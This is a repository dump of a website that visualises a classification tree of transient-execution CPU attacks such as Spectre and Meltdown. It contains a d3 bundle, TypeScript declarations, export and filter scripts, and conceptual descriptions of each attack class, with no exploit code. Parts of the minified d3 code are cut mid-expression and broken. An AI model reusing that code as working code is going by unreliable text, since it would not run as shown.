u===o?null:u===r?i:i=n(r=u,e)}}:function(t,n,e){var r,i,o=e+"";return function(){var u=this.getAttribute(t);return u===o?null:u===r?i:i=n(r=u,e)}})(e,r,n))},attrTween:function(t,n){var e="attr."+t;if(arguments.length<2)return(e=this.tween(e))&&e._value;if(null==n)return this.tween(e,null);if("function"!=typeof n)throw new Error;var r=Object(s.namespace)(t);return this.tween(e,(r.local?function(t,n){var e,r;function i(){var i=n.apply(this,arguments);return i!==r&&(e=(r=i)&&function(t,n){return function(e){this.setAttributeNS(t.space,t.local,n(e))}}(t,i)),e}return i._value=n,i}:function(t,n){var e,r;function i(){var i=n.apply(this,arguments);return i!==r&&(e=(r=i)&&function(t,n){return function(e){this.setAttribute(t,n(e))}}(t,i)),e}return i._value=n,i})(r,n))},style:function(t,n,e){var r="transform"==(t+="")?qt:kn;return null==n?this.styleTween(t,function(t,n){var e,r,i;return function(){var o=Object(s.style)(this,t),u=(this.style.removeProperty(t),Object(s.style)(this,t));return o===u?null:o===e&&u===r?i:i=n(e=o,r=u)}}(t,r)).on("end.style."+t,zn(t)):"function"==typeof n?this.styleTween(t,function(t,n,e){var r,i,o;return function(){var u=Object(s.style)(this,t),a=e(this),c=a+"";return null==a&&(this.style.removeProperty(t),c=a=Object(s.style)(this,t)),u===c?null:u===r&&c===i?o:(i=c,o=n(r=u,a))}}(t,r,Mn(this,"style."+t,n))).each(function(t,n){var e,r,i,o,u="style."+n,a="end."+u;return function(){var c=wn(this,t),s=c.on,l=null==c.value[u]?o||(o=zn(n)):void 0;s===e&&i===l||(r=(e=s).copy()).on(a,i=l),c.on=r}}(this._id,t)):this.styleTween(t,function(t,n,e){var r,i,o=e+"";return function(){var u=Object(s.style)(this,t);return u===o?null:u===r?i:i=n(r=u,e)}}(t,r,n),e).on("end.style."+t,null)},styleTween:function(t,n,e){var r="style."+(t+="");if(arguments.length<2)return(r=this.tween(r))&&r._value;if(null==n)return this.tween(r,null);if("function"!=typeof n)throw new Error;return this.tween(r,function(t,n,e){var r,i;function o(){var o=n.apply(this,arguments);return o!==i&&(r=(i=o)&&function(t,n,e){return function(r){this.style.setProperty(t,n(r),e)}}(t,o,e)),r}return o._value=n,o}(t,n,null==e?"":e))},text:function(t){return this.tween("text","function"==typeof t?function(t){return function(){var n=t(this);this.textContent=null==n?"":n}}(Mn(this,"text",t)):function(t){return function(){this.textContent=t}}(null==t?"":t+""))},remove:function(){return this.on("end.remove",(t=this._id,function(){var n=this.parentNode;for(var e in this.__transition)if(+e!==t)return;n&&n.removeChild(this)}));var t},tween:function(t,n){var e=this._id;if(t+="",arguments.length<2){for(var r,i=xn(this.node(),e).tween,o=0,u=i.length;or?(r+i)/2:Math.min(0,r)||Math.max(0,i),u>o?(o+u)/2:Math.min(0,o)||Math.max(0,u))}var Un=function(){var t,n,e=Xn,r=Yn,i=Fn,o=Vn,u=Wn,a=[0,1/0],l=[[-1/0,-1/0],[1/0,1/0]],p=250,d=Dt,v=[],y=c("start","zoom","end"),m=500,g=150,_=0;function w(t){t.property("__zoom",Rn).on("wheel.zoom",N).on("mousedown.zoom",E).on("dblclick.zoom",S).filter(u).on("touchstart.zoom",O).on("touchmove.zoom",j).on("touchend.zoom touchcancel.zoom",P).style("touch-action","none").style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function x(t,n){return(n=Math.max(a[0],Math.min(a[1],n)))===t.k?t:new Bn(n,t.x,t.y)}function b(t,n,e){var r=n[0]-e[0]*t.k,i=n[1]-e[1]*t.k;return r===t.x&&i===t.y?t:new Bn(t.k,r,i)}function M(t){return[(+t[0][0]+ +t[1][0])/2,(+t[0][1]+ +t[1][1])/2]}function k(t,n,e){t.on("start.zoom",function(){A(this,arguments).start()}).on("interrupt.zoom end.zoom",function(){A(this,arguments).end()}).tween("zoom",function(){var t=arguments,i=A(this,t),o=r.apply(this,t),u=e||M(o),a=Math.max(o[1][0]-o[0][0],o[1][1]-o[0][1]),c=this.__zoom,s="function"==typeof n?n.apply(this,t):n,l=d(c.invert(u).concat(a/c.k),s.invert(u).concat(a/s.k));return function(t){if(1===t)t=s;else{var n=l(t),e=a/n[2];t=new Bn(e,u[0]-n[0]*e,u[1]-n[1]*e)}i.zoom(null,t)}})}function A(t,n){for(var e,r=0,i=v.length;r_}t.zoom("mouse",i(b(t.that.__zoom,t.mouse[0]=Object(s.mouse)(t.that),t.mouse[1]),t.extent,l))},!0).on("mouseup.zoom",function(){r.on("mousemove.zoom mouseup.zoom",null),f(s.event.view,t.moved),Hn(),t.end()},!0),o=Object(s.mouse)(this),u=s.event.clientX,a=s.event.clientY;h(s.event.view),Dn(),t.mouse=[o,this.__zoom.invert(o)],bn(this),t.start()}}function S(){if(e.apply(this,arguments)){var t=this.__zoom,n=Object(s.mouse)(this),o=t.invert(n),u=t.k*(s.event.shiftKey?.5:2),a=i(b(x(t,u),n,o),r.apply(this,arguments),l);Hn(),p>0?Object(s.select)(this).transition().duration(p).call(k,a,n):Object(s.select)(this).call(w.transform,a)}}function O(){if(e.apply(this,arguments)){var n,r,i,o,u=A(this,arguments),a=s.event.changedTouches,c=a.length;for(Dn(),r=0;r=0;)n+=e[r].value;else n=1;t.value=n}function c(t,n){var e,r,i,o,u,a=new f(t),c=+t.value&&(a.value=t.value),l=[a];for(null==n&&(n=s);e=l.pop();)if(c&&(e.value=+e.data.value),(i=n(e.data))&&(u=i.length))for(e.children=new Array(u),o=u-1;o>=0;--o)l.push(r=e.children[o]=new f(i[o])),r.parent=e,r.depth=e.depth+1;return a.eachBefore(h)}function s(t){return t.children}function l(t){t.data=t.data.data}function h(t){var n=0;do{t.height=n}while((t=t.parent)&&t.height<++n)}function f(t){this.data=t,this.depth=this.height=0,this.parent=null}f.prototype=c.prototype={constructor:f,count:function(){return this.eachAfter(a)},each:function(t){var n,e,r,i,o=this,u=[o];do{for(n=u.reverse(),u=[];o=n.pop();)if(t(o),e=o.children)for(r=0,i=e.length;r=0;--e)i.push(n[e]);return this},sum:function(t){return this.eachAfter(function(n){for(var e=+t(n.data)||0,r=n.children,i=r&&r.length;--i>=0;)e+=r[i].value;n.value=e})},sort:function(t){return this.eachBefore(function(n){n.children&&n.children.sort(t)})},path:function(t){for(var n=this,e=function(t,n){if(t===n)return t;var e=t.ancestors(),r=n.ancestors(),i=null;for(t=e.pop(),n=r.pop();t===n;)i=t,t=e.pop(),n=r.pop();return i}(n,t),r=[n];n!==e;)n=n.parent,r.push(n);for(var i=r.length;t!==e;)r.splice(i,0,t),t=t.parent;return r},ancestors:function(){for(var t=this,n=[t];t=t.parent;)n.push(t);return n},descendants:function(){var t=[];return this.each(function(n){t.push(n)}),t},leaves:function(){var t=[];return this.eachBefore(function(n){n.children||t.push(n)}),t},links:function(){var t=this,n=[];return t.each(function(e){e!==t&&n.push({source:e.parent,target:e})}),n},copy:function(){return c(this).eachBefore(l)}};var p=Array.prototype.slice;var d=function(t){for(var n,e,r=0,i=(t=function(t){for(var n,e,r=t.length;r;)e=Math.random()*r--|0,n=t[r],t[r]=t[e],t[e]=n;return t}(p.call(t))).length,o=[];r0&&e*e>r*r+i*i}function g(t,n){for(var e=0;e(u*=u)?(r=(s+u-i)/(2*s),o=Math.sqrt(Math.max(0,u/s-r*r)),e.x=t.x-r*a-o*c,e.y=t.y-r*c+o*a):(r=(s+i-u)/(2*s),o=Math.sqrt(Math.max(0,i/s-r*r)),e.x=n.x+r*a-o*c,e.y=n.y+r*c+o*a)):(e.x=n.x+e.r,e.y=n.y)}function M(t,n){var e=t.r+n.r-1e-6,r=n.x-t.x,i=n.y-t.y;return e>0&&e*e>r*r+i*i}function k(t){var n=t._,e=t.next._,r=n.r+e.r,i=(n.x*e.r+e.x*n.r)/r,o=(n.y*e.r+e.y*n.r)/r;return i*i+o*o}function A(t){this._=t,this.next=null,this.previous=null}function z(t){if(!(i=t.length))return 0;var n,e,r,i,o,u,a,c,s,l,h;if((n=t[0]).x=0,n.y=0,!(i>1))return n.r;if(e=t[1],n.x=-e.r,e.x=n.r,e.y=0,!(i>2))return n.r+e.r;b(e,n,r=t[2]),n=new A(n),e=new A(e),r=new A(r),n.next=r.previous=e,e.next=n.previous=r,r.next=e.previous=n;t:for(a=3;a0)throw new Error("cycle");return o}return e.id=function(n){return arguments.length?(t=E(n),e):t},e.parentId=function(t){return arguments.length?(n=E(t),e):n},e};function W(t,n){return t.parent===n.parent?1:2}function F(t){var n=t.children;return n?n[0]:t.t}function U(t){var n=t.children;return n?n[n.length-1]:t.t}function $(t,n,e){var r=e/(n.i-t.i);n.c-=r,n.s+=e,t.c+=r,n.z+=e,n.m+=e}function G(t,n,e){return t.a.parent===n.parent?t.a:e}function K(t,n){this._=t,this.parent=null,this.children=null,this.A=null,this.a=this,this.z=0,this.m=0,this.c=0,this.s=0,this.t=null,this.i=n}K.prototype=Object.create(f.prototype);var Q=function(){var t=W,n=1,e=1,r=null;function i(i){var c=function(t){for(var n,e,r,i,o,u=new K(t,0),a=[u];n=a.pop();)if(r=n._.children)for(n.children=new Array(o=r.length),i=o-1;i>=0;--i)a.push(e=n.children[i]=new K(r[i],i)),e.parent=n;return(u.parent=new K(null,0)).children=[u],u}(i);if(c.eachAfter(o),c.parent.m=-c.z,c.eachBefore(u),r)i.eachBefore(a);else{var s=i,l=i,h=i;i.eachBefore(function(t){t.xl.x&&(l=t),t.depth>h.depth&&(h=t)});var f=s===l?1:t(s,l)/2,p=f-s.x,d=n/(l.x+f+p),v=e/(h.depth||1);i.eachBefore(function(t){t.x=(t.x+p)*d,t.y=t.depth*v})}return i}function o(n){var e=n.children,r=n.parent.children,i=n.i?r[n.i-1]:null;if(e){!function(t){for(var n,e=0,r=0,i=t.children,o=i.length;--o>=0;)(n=i[o]).z+=e,n.m+=e,e+=n.s+(r+=n.c)}(n);var o=(e[0].z+e[e.length-1].z)/2;i?(n.z=i.z+t(n._,i._),n.m=n.z-o):n.z=o}else i&&(n.z=i.z+t(n._,i._));n.parent.A=function(n,e,r){if(e){for(var i,o=n,u=n,a=e,c=o.parent.children[0],s=o.m,l=u.m,h=a.m,f=c.m;a=U(a),o=F(o),a&&o;)c=F(c),(u=U(u)).a=n,(i=a.z+h-o.z-s+t(a._,o._))>0&&($(G(a,n,r),n,i),s+=i,l+=i),h+=a.m,s+=o.m,f+=c.m,l+=u.m;a&&!U(u)&&(u.t=a,u.m+=h-l),o&&!F(c)&&(c.t=o,c.m+=s-f,r=n)}return r}(n,i,n.parent.A||r[0])}function u(t){t._.x=t.z+t.parent.m,t.m+=t.parent.m}function a(t){t.x*=n,t.y=t.depth*e}return i.separation=function(n){return arguments.length?(t=n,i):t},i.size=function(t){return arguments.length?(r=!1,n=+t[0],e=+t[1],i):r?null:[n,e]},i.nodeSize=function(t){return arguments.length?(r=!0,n=+t[0],e=+t[1],i):r?[n,e]:null},i},Z=function(t,n,e,r,i){for(var o,u=t.children,a=-1,c=u.length,s=t.value&&(i-e)/t.value;++af&&(f=a),y=l*l*v,(p=Math.max(f/y,y/h))>d){l-=a;break}d=p}m.push(u={value:l,dice:c1?n:1)},e}(J),et=function(){var t=nt,n=!1,e=1,r=1,i=[0],o=S,u=S,a=S,c=S,s=S;function l(t){return t.x0=t.y0=0,t.x1=e,t.y1=r,t.eachBefore(h),i=[0],n&&t.eachBefore(B),t}function h(n){var e=i[n.depth],r=n.x0+e,l=n.y0+e,h=n.x1-e,f=n.y1-e;h=e-1){var l=a[n];return l.x0=i,l.y0=o,l.x1=u,void(l.y1=c)}var h=s[n],f=r/2+h,p=n+1,d=e-1;for(;p>>1;s[v]c-o){var g=(i*m+u*y)/r;t(n,p,y,i,o,g,c),t(p,e,m,g,o,u,c)}else{var _=(o*m+c*y)/r;t(n,p,y,i,o,u,_),t(p,e,m,i,_,u,c)}}(0,c,t.value,n,e,r,i)},it=function(t,n,e,r,i){(1&t.depth?Z:I)(t,n,e,r,i)},ot=function t(n){function e(t,e,r,i,o){if((u=t._squarify)&&u.ratio===n)for(var u,a,c,s,l,h=-1,f=u.length,p=t.value;++h1?n:1)},e}(J);e.d(n,"cluster",function(){return u}),e.d(n,"hierarchy",function(){return c}),e.d(n,"pack",function(){return P}),e.d(n,"packSiblings",function(){return N}),e.d(n,"packEnclose",function(){return d}),e.d(n,"partition",function(){return C}),e.d(n,"stratify",function(){return V}),e.d(n,"tree",function(){return Q}),e.d(n,"treemap",function(){return et}),e.d(n,"treemapBinary",function(){return rt}),e.d(n,"treemapDice",function(){return I}),e.d(n,"treemapSlice",function(){return Z}),e.d(n,"treemapSliceDice",function(){return it}),e.d(n,"treemapSquarify",function(){return nt}),e.d(n,"treemapResquarify",function(){return ot})}])}); ================================================ FILE: docs/dist/typescript/d3.d.ts ================================================ import { hierarchy, stratify, tree, treemap } from "d3-hierarchy"; import { select, selectAll } from "d3-selection"; import { zoom } from "d3-zoom"; declare const _default: { hierarchy: typeof hierarchy; stratify: typeof stratify; tree: typeof tree; treemap: typeof treemap; select: typeof select; selectAll: typeof selectAll; event: any; zoom: typeof zoom; }; export default _default; ================================================ FILE: docs/dist/typescript/draw-links.d.ts ================================================ import { ITreeConfig } from "./typings"; interface ICoordinates { x: number; y: number; } export declare const generateLinkLayout: (s: ICoordinates, d: ICoordinates, treeConfig: ITreeConfig) => string; export {}; ================================================ FILE: docs/dist/typescript/index.d.ts ================================================ import { ITreeConfig } from "./typings"; export declare function create(userSettings: Partial): { refresh: (data: any, newSettings?: Partial | undefined) => void; clean: (keepConfig: boolean) => void; }; ================================================ FILE: docs/dist/typescript/initializeSVG.d.ts ================================================ import * as d3 from "d3-selection"; import { ITreeConfig } from "./typings"; export declare const initiliazeSVG: (treeConfig: ITreeConfig) => d3.Selection; ================================================ FILE: docs/dist/typescript/link-enter.d.ts ================================================ import { HierarchyPointNode } from "d3-hierarchy"; import { BaseType, Selection } from "d3-selection"; import { ITreeConfig } from "./typings"; export declare const drawLinkEnter: (link: Selection, SVGGElement, {}>, computedTree: HierarchyPointNode<{}>, settings: ITreeConfig) => Selection, SVGGElement, {}>; ================================================ FILE: docs/dist/typescript/link-exit.d.ts ================================================ import { HierarchyPointNode } from "d3-hierarchy"; import { BaseType, Selection } from "d3-selection"; import { ITreeConfig } from "./typings"; export declare const drawLinkExit: (link: Selection, SVGGElement, {}>, settings: ITreeConfig) => void; ================================================ FILE: docs/dist/typescript/link-update.d.ts ================================================ import { HierarchyPointNode } from "d3-hierarchy"; import { BaseType, Selection } from "d3-selection"; import { ITreeConfig } from "./typings"; export declare const drawLinkUpdate: (linkEnter: Selection, SVGGElement, {}>, link: Selection, SVGGElement, {}>, settings: ITreeConfig) => void; ================================================ FILE: docs/dist/typescript/links/draw-links.d.ts ================================================ import { ITreeConfig } from "../typings"; interface ICoordinates { x: number; y: number; } export declare const generateLinkLayout: (s: ICoordinates, d: ICoordinates, treeConfig: ITreeConfig) => string; export {}; ================================================ FILE: docs/dist/typescript/links/link-enter.d.ts ================================================ import { HierarchyPointNode } from "d3-hierarchy"; import { BaseType, Selection } from "d3-selection"; import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; export declare const drawLinkEnter: (link: Selection, SVGGElement, {}>, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => Selection, SVGGElement, {}>; ================================================ FILE: docs/dist/typescript/links/link-exit.d.ts ================================================ import { HierarchyPointNode } from "d3-hierarchy"; import { BaseType, Selection } from "d3-selection"; import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; export declare const drawLinkExit: (link: Selection, SVGGElement, {}>, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => void; ================================================ FILE: docs/dist/typescript/links/link-update.d.ts ================================================ import { HierarchyPointNode } from "d3-hierarchy"; import { BaseType, Selection } from "d3-selection"; import { ITreeConfig } from "../typings"; export declare const drawLinkUpdate: (linkEnter: Selection, SVGGElement, {}>, link: Selection, SVGGElement, {}>, settings: ITreeConfig) => void; ================================================ FILE: docs/dist/typescript/node-enter.d.ts ================================================ import { BaseType, Selection } from "d3-selection"; import { ExtendedHierarchyPointNode, ITreeConfig } from "./typings"; export declare const placeNodeEnter: (node: Selection, settings: ITreeConfig) => Selection; ================================================ FILE: docs/dist/typescript/node-exit.d.ts ================================================ export declare const placeExit: (node: any, settings: any) => any; ================================================ FILE: docs/dist/typescript/nodes/node-enter.d.ts ================================================ import { BaseType, Selection } from "d3-selection"; import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; export declare const drawNodeEnter: (node: Selection, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => Selection; ================================================ FILE: docs/dist/typescript/nodes/node-exit.d.ts ================================================ import { BaseType, Selection } from "d3-selection"; import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; export declare const drawNodeExit: (node: Selection, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => void; ================================================ FILE: docs/dist/typescript/nodes/node-update.d.ts ================================================ import { BaseType, Selection } from "d3-selection"; import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; export declare const drawNodeUpdate: (nodeEnter: Selection, node: Selection, settings: ITreeConfig) => void; ================================================ FILE: docs/dist/typescript/prepare-data.d.ts ================================================ import { HierarchyNode } from "d3-hierarchy"; import { ITreeConfig } from "./typings"; export declare const generateNestedData: (data: any, treeConfig: ITreeConfig) => HierarchyNode; export declare const generateBasicTreemap: (treeConfig: ITreeConfig) => import("d3-hierarchy").TreeLayout; ================================================ FILE: docs/dist/typescript/services.d.ts ================================================ export declare const getAreaSize: (htmlId: string) => { areaWidth: number; areaHeight: number; }; ================================================ FILE: docs/dist/typescript/typings.d.ts ================================================ import { HierarchyPointNode } from "d3-hierarchy"; export interface ITreeConfig { htmlId: string; idKey: string; relationnalField: string; hasFlatData: boolean; nodeWidth: number; nodeHeight: number; mainAxisNodeSpacing: number | "auto"; renderNode: (node: any) => string | null; linkShape?: "quadraticBeziers" | "curve" | "orthogonal" | ""; linkColor: (node: any) => string; linkWidth: (node: any) => number; onNodeClick: (node: any) => void; onNodeMouseEnter: (node: any) => void; onNodeMouseLeave: (node: any) => void; isHorizontal: boolean; hasPanAndZoom: boolean; duration: number; marginTop: number; marginBottom: number; marginLeft: number; marginRight: number; secondaryAxisNodeSpacing: number; } export interface ExtendedHierarchyPointNode extends HierarchyPointNode<{}> { x0?: number; y0?: number; } ================================================ FILE: docs/dist/typescript/utils.d.ts ================================================ import { ExtendedHierarchyPointNode, ITreeConfig } from "./typings"; export declare const getAreaSize: ( htmlId: string ) => { areaWidth: number; areaHeight: number; }; declare type Result = ExtendedHierarchyPointNode & { x0: number; y0: number; }; export declare const getFirstDisplayedAncestor: ( ghostNodes: ExtendedHierarchyPointNode[], viewableNodes: ExtendedHierarchyPointNode[], id: string ) => Result; export declare const setNodeLocation: ( xPosition: number, yPosition: number, settings: ITreeConfig ) => string; export {}; ================================================ FILE: docs/index.html ================================================ Transient Execution Attacks
Details

Click on a node for more information.

================================================ FILE: docs/js/export.js ================================================ function getTranslation(obj) { if(obj.transform === undefined) return [0,0]; if(obj.transform.baseVal === undefined) return [0,0]; for(let op of obj.transform.baseVal) { if(op.type == 2) { return [op.matrix.e, op.matrix.f]; } } return [0,0]; } function exportTikz() { var header = "\\begin{tikzpicture}[node distance=0.9cm,transform shape,scale=0.55]\n"; header += "\\tikzstyle{small} = [rectangle, rounded corners, minimum width=2.5cm, minimum height=.6cm,text centered, draw=black, fill=white]\n"; header += "\\tikzstyle{large} = [rectangle, rounded corners, minimum width=3.8cm, minimum height=.6cm,text centered, draw=black, fill=white]\n"; header += "\\tikzstyle{works} = [fill=red!30!white,thick,font=\\bfseries]\n"; header += "\\tikzstyle{fails} = [densely dashed,pattern=north west lines,pattern color=green!60!white]\n"; header += "\\tikzstyle{todo} = [fill=red!30!yellow,thick,font=\\bfseries]\n"; header += "\\tikzstyle{group} = [fill=blue!20!white]\n"; header += "\\tikzstyle{arrow} = [thick,->,>=stealth,in=180,out=0,looseness=0.6]\n"; header += "\\tikzstyle{arrow_regular} = [thick,->,>=stealth]\n"; header += "\\usetikzlibrary{shapes.geometric, arrows, patterns}\n"; var content = ""; var arrows = ""; for(let node of $("#tree svg g.node")) { var pos = getTranslation(node); var id = $(node).find(".box").prop("id").substr(2); var node_obj = index[id]; var name = node_obj.title; var style = "works"; if(node_obj.color == color.group) style = "group"; else if(node_obj.color == color.fails) style = "fails"; else if(node_obj.color == color.todo) style = "todo"; content += "\\node[large," + style + "] (node" + id + ") at (" + ((pos[0] / 40.0) * 0.9) + "," + (-pos[1] / 40.0) + ") {" + name + "};\n"; if(node_obj.father !== null) { arrows += "\\draw (node" + index[node_obj.father].id + ".east) edge[arrow_regular] (node" + id +".west);\n"; } } content += arrows; var footer = "\\end{tikzpicture}\n"; var tikz = header + content + footer; var blob = new Blob([ tikz ], {type:"text/x-pgf;charset=utf-8"}); window.saveAs(blob, "tree.tikz"); } function exportSVG() { var header = '\n'; var corr_pos = getTranslation($("#tree svg g g")[0]); var empty_svg = $("#tree svg").clone().html("").get()[0]; empty_svg.setAttribute("transform", "translate(" + (corr_pos[0]) + "," + (corr_pos[1]) +")"); empty_svg.setAttribute("xmlns", "http://www.w3.org/2000/svg"); var root = $("#tree svg")[0]; empty_svg.setAttribute("transform", ""); var content = empty_svg.outerHTML.replace("", ""); content += ""; var path_count = 0; for(let node of $("#tree svg g")) { var cn = node.className.baseVal; if(cn === undefined || cn != "node") { path_count++; if(path_count == 1) continue; content += node.outerHTML; } else { var name = $(node).find("strong").text(); var enode = $(node).clone(); var box = $(node).find("div.box")[0]; var bg = (box !== undefined ? box.style.backgroundColor : "white"); enode.html('' + name + ''); var jenode = enode.get()[0]; pos = getTranslation(jenode); jenode.setAttribute("transform", "translate(" + (pos[0] + corr_pos[0]) + "," + (pos[1] + corr_pos[1]) +")"); content += jenode.outerHTML; } } var footer = ""; var svg = header + content + footer; var blob = new Blob([ svg ], {type:"image/svg+xml;charset=utf-8"}); window.saveAs(blob, "tree.svg"); } function exportDOT() { var header = "digraph tree {\n"; var content = "rankdir=LR;\n"; var defined = []; var makeUnique = (x) => x.title.replace(/[^A-Za-z0-9]*/g, "") + x.id; var arrows = ""; for(let node of $("#tree svg g.node")) { var id = $(node).find(".box").prop("id").substr(2); var node_obj = index[id]; var name = node_obj.title; var unique = makeUnique(node_obj); var shape = "box"; if(node_obj.color == color.group) shape = "oval"; else if(node_obj.color == color.fails) shape = "box"; else if(node_obj.color == color.todo) shape = "box"; if(defined.indexOf(unique) == -1) { content += unique + " [label=\"" + name + "\",shape=" + shape + "];\n"; defined.push(unique); } if(node_obj.father !== null) { var funique = makeUnique(index[node_obj.father]); content += funique + " -> " + unique + ";\n"; } } var footer = "}\n"; var tikz = header + content + footer; var blob = new Blob([ tikz ], {type:"text/x-dot;charset=utf-8"}); window.saveAs(blob, "tree.dot"); } ================================================ FILE: docs/js/filter.js ================================================ var index = {}; function buildIndex() { index = {}; for(let node of data) { if(index[node.id] !== undefined) { alert("Duplicate ID " + node.id + ": " + node.title + " and " + index[node.id].title); } index[node.id] = node; } } function hasParent(node, parent_id) { var parent = node; while(parent !== undefined && parent.father != null) { parent = index[parent.father]; if(parent === undefined) return false; if(parent.id == parent_id) return true; } return false; } function hasChild(node, child_id) { var child = index[child_id]; return hasParent(child, node.id); } function toggleMeltdownSpectre(meltdown, spectre, filterInclude) { current_data = []; for(let node of data) { var is_meltdown = hasParent(node, 3) || node.id == 3; var is_spectre = hasParent(node, 2) || node.id == 2; if((spectre && is_spectre) || (meltdown && is_meltdown) || (!is_meltdown && !is_spectre)) { if(filterInclude(node)) { current_data.push(node); } } } // remove empty groups var removed; do { removed = 0; var has_children = {}; for(let node of current_data) { if(node.father !== null) has_children[node.father] = true; } var cleaned_data = []; for(let node of current_data) { if(has_children[node.id] !== undefined || node.color != color.group) { cleaned_data.push(node); } else { removed++; } } current_data = cleaned_data; } while(removed); tree.refresh(current_data); } function recursiveFlatten(input) { result = ""; if(typeof(input) == "string") { result += input + " "; } else if(typeof(input) == "object") { if(Array.isArray(input)) { for(let element of input) { result += recursiveFlatten(element) + " "; } } else { for(let key of Object.keys(input)) { result += recursiveFlatten(input[key]) + " "; } } } return result; } function filter() { var show_meltdown = $("#toggleMeltdown").prop("checked"); var show_spectre = $("#toggleSpectre").prop("checked"); var show_todo = $("#toggleTodo").prop("checked"); var show_fails = $("#toggleFails").prop("checked"); var show_working = $("#toggleWorking").prop("checked"); // var show_paper = $("#togglePaper").prop("checked"); // var show_nopaper = $("#toggleNoPaper").prop("checked"); var show_l1 = $("#toggleL1").prop("checked"); var show_lfb = $("#toggleLFB").prop("checked"); var show_sb = $("#toggleSB").prop("checked"); var show_lp = $("#toggleLP").prop("checked"); var show_reg = $("#toggleREG").prop("checked"); var show_mem = $("#toggleMEM").prop("checked"); var show_intel = $("#toggleIntel").prop("checked"); var show_arm = $("#toggleARM").prop("checked"); var show_amd = $("#toggleAMD").prop("checked"); //var show_ibm = $("#toggleIBM").prop("checked"); var search_term = $("#search").val(); var has_search = search_term.trim().length > 0; var show_poc = $("#togglePoC").prop("checked"); var show_nopoc = $("#toggleNoPoC").prop("checked"); var search_popup = 0; toggleMeltdownSpectre(show_meltdown, show_spectre, function(node) { var is_leaf = node.color != color.group && node.color != color.root; if(node.todo !== undefined && node.color == color.todo && !show_todo) return false; if(node.color == color.fails && !show_fails) return false; if(node.color == color.works && !show_working) return false; /* var has_paper = false; if(node.sources !== undefined) { for(let s of node.sources) { if(s.conference !== undefined) { has_paper = true; break; } } } if(has_paper && !show_paper && is_leaf) return false; if(!has_paper && !show_nopaper && is_leaf) return false; */ if(node.poc !== undefined && node.poc.length > 0 && is_leaf && !show_poc) return false; if((node.poc === undefined || node.poc.length == 0) && is_leaf && !show_nopoc) return false; var include = false; if(node.affects !== undefined) { for(let a of node.affects) { if(a.title === "Intel" && show_intel) { include = true; break; } if(a.title === "AMD" && show_amd) { include = true; break; } if(a.title === "ARM" && show_arm) { include = true; break; } /*if(a.title === "IBM" && show_ibm) { include = true; break; }*/ } if (!include) return false; } var has_l1 = node.title.indexOf("-L1") != -1; var has_lfb = node.title.indexOf("-LFB") != -1; var has_sb = node.title.indexOf("-SB") != -1; var has_lp = node.title.indexOf("-LP") != -1; var has_reg = node.title.indexOf("-REG") != -1; var has_mem = !has_l1 && !has_lfb && !has_sb && !has_lp && !has_reg && (node.color == color.works); if(has_l1 && is_leaf && !show_l1) return false; if(has_lfb && is_leaf && !show_lfb) return false; if(has_sb && is_leaf && !show_sb) return false; if(has_lp && is_leaf && !show_lp) return false; if(has_reg && is_leaf && !show_reg) return false; if(has_mem && is_leaf && !show_mem) return false; if(has_search && is_leaf) { if(node.description.toLowerCase().indexOf(search_term.toLowerCase()) == -1 && node.title.toLowerCase().indexOf(search_term.toLowerCase()) == -1 && (node.alias||"").toLowerCase().indexOf(search_term.toLowerCase()) == -1 && (node.affects||[]).map(x => x.title||x).join(" ").toLowerCase().indexOf(search_term.toLowerCase()) == -1 && (node.names||[]).map(x => x.title||x).join(" ").toLowerCase().indexOf(search_term.toLowerCase()) == -1 && recursiveFlatten(node.sources).toLowerCase().indexOf(search_term.toLowerCase()) == -1 && (node.cve||[]).map(x => x.title||x).join(" ").toLowerCase().indexOf(search_term.toLowerCase()) == -1 && (node.poc||[]).map(x => x.title||x).join(" ").toLowerCase().indexOf(search_term.toLowerCase()) == -1 ) return false; /* automatically popup the first leaf hit when searching */ else if(!search_popup) { search_popup = 1; popup(node); } } return true; } ); } ================================================ FILE: docs/js/tree.js ================================================ $(document).ready(function(e) { $('[data-toggle="popover"]').popover(); $('[data-toggle="tooltip"]').tooltip(); }); $(document).on('click', '[data-toggle="lightbox"]', function(event) { event.preventDefault(); $(this).ekkoLightbox(); }); ================================================ FILE: docs/tree.js ================================================ var color = { root: "#DDDDDD", group: "#BBBBFF", works: "#FF5722", fails: "#8BC34A", todo: "#FFA500" } var data = [{ id: 1, title: "Transient cause", father: null, img: "transient-overview.svg", description: "We split the tree based on the cause for entering transient execution. If the cause is handling a fault or a microcode assist upon instruction retirement, we have a Meltdown-type attack. If the cause is a control or data flow prediction, we have a Spectre-type attack.", sources: [ sources["Canella2018"], sources["Kocher2019"], sources["Lipp2018"] ], color: color.root }, { id: 2, title: "Spectre-type", img: "spectre-root.svg", text_top: "prediction", description: "Spectre exploits a performance optimization in modern CPUs. Instead of waiting for the correct resolution of a branch, the CPU tries to predict the most likely outcome of the branch and starts transiently executing along the predicted path. Upon resolving the branch, the CPU discards the results of the transient execution if the prediction was wrong but does not revert changes in the microarchitecture. The prediction is based on events in the past, allowing an attacker to mistrain the predictor to leak data through the microarchitecture that should normally not be accessible to the attacker.", sources: [ sources["Kocher2019"], sources["Canella2018"] ], father: 1, color: color.group }, { id: 3, title: "Meltdown-type", img: "meltdown-root.svg", text_bottom: "fault/assist", father: 1, description: "Meltdown exploits the fact that exceptions are only raised (i.e., become architecturally visible) upon the retirement of the faulting instruction. In some microarchitectures, this property allows transient instructions ahead in the pipeline to compute on unauthorized results of the instruction that is about to suffer a fault. The CPU's in-order instruction-retirement mechanism takes care to discard any architectural effects of such computations, but secrets may leak through microarchitectural covert channels.

We further classify Meltdown-type attacks based on the fault condition. A first category of architectural faults iterates over all possible Intel x86 exception types. A second category considers so-called microarchitectural faults, which are never visible at the architectural level, by branching on different conditions that provoke microcode assists.

